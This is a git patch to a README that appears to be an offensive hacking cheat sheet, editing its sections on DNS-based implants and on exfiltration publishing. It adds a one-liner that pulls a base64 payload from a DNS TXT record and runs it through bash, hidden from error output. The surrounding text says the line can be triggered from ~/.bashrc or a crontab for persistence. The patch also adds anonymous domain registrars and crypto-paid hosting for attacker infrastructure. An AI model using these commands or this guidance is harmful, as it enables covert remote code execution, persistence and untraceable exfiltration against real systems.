From a4f11c24876576205bf137799cee707648da51e7 Mon Sep 17 00:00:00 2001 From: skyper <5938498+SkyperTHC@users.noreply.github.com> Date: Tue, 25 Feb 2025 09:39:33 +0000 Subject: [PATCH] Update README.md --- README.md | 12 ++++++++---- 1 file changed, 8 insertions(+), 4 deletions(-) diff --git a/README.md b/README.md index d39ba58..6b06a4e 100644 --- a/README.md +++ b/README.md @@ -1850,13 +1850,15 @@ echo -n '@system("{ id; date;}>/tmp/.b00m 2>/dev/null");' |base64 -w0 - The DNS TXT payload is limited to 2,048 characters (sometimes 65,535 characters). - The implant is a `bootloader`. Use a while loop to download and execute larger paypload via DNS. -- Check out our favorite places to [register a domain anonymously](#pub): +- Check out our favorite places to [register a domain anonymously](#pub). [Cloudflare's](https://www.cloudflare.com) Free-Tier is a good start. Can also be triggered via `~/.bashrc` or the user's crontab. Use (example): ```shell # Use a "double bash" to redirect _also_ $()-subshell error to /dev/null: bash -c 'exec bash -c "{ $(dig +short b00m2.team-teso.net TXT|tr -d \ \"|base64 -d);}"'&>/dev/null ``` +(the example payload creates `/tmp/.b00m` and notifies us via another DNS request to [interactsh](https://interactsh.com). + **6.vii. Local Root Backdoor** @@ -2620,12 +2622,14 @@ Exfil Publishing 1. [free BT/DC/eD2k seedbox](https://valdikss.org.ru/schare/) -1. Or use /onion on [segfault.net](https://www.thc.org/segfault) or plain old https with ngrok. +1. Or use /onion on [segfault.net](https://www.thc.org/segfault) or plain old https with ngrok +2. [Cloudflare](https://www.cloudflare.com) - The Free-Tier allows most things (dns + domains + tunnels). +1. [Njal.la](https://njal.la) - Privacy focused Domain Registrar 1. [DuckDNS](https://www.duckdns.org/) - Free Domain Names 1. [AnonDNS](https://anondns.net/) - Free Domain Name (anonymous) 1. [afraid.org](https://www.afraid.org) - Free Dynamic DNS for your domain -2. [hostwinds](https://hostwinds.com) - Pay with crypto -3. [unstoppable domains](https://unstoppabledomains.com) - Pay with crypto +1. [hostwinds](https://hostwinds.com) - Pay with crypto +1. [unstoppable domains](https://unstoppabledomains.com) - Pay with crypto 1. [he.net](https://dns.he.net/) - Free Nameserver service 1. [0bin](https://0bin.net/) / [paste.ec](https://paste.ec) - Encrypted PasteBin 1. [pad.riseup.net](https://pad.riseup.net) - Create documents and share them securely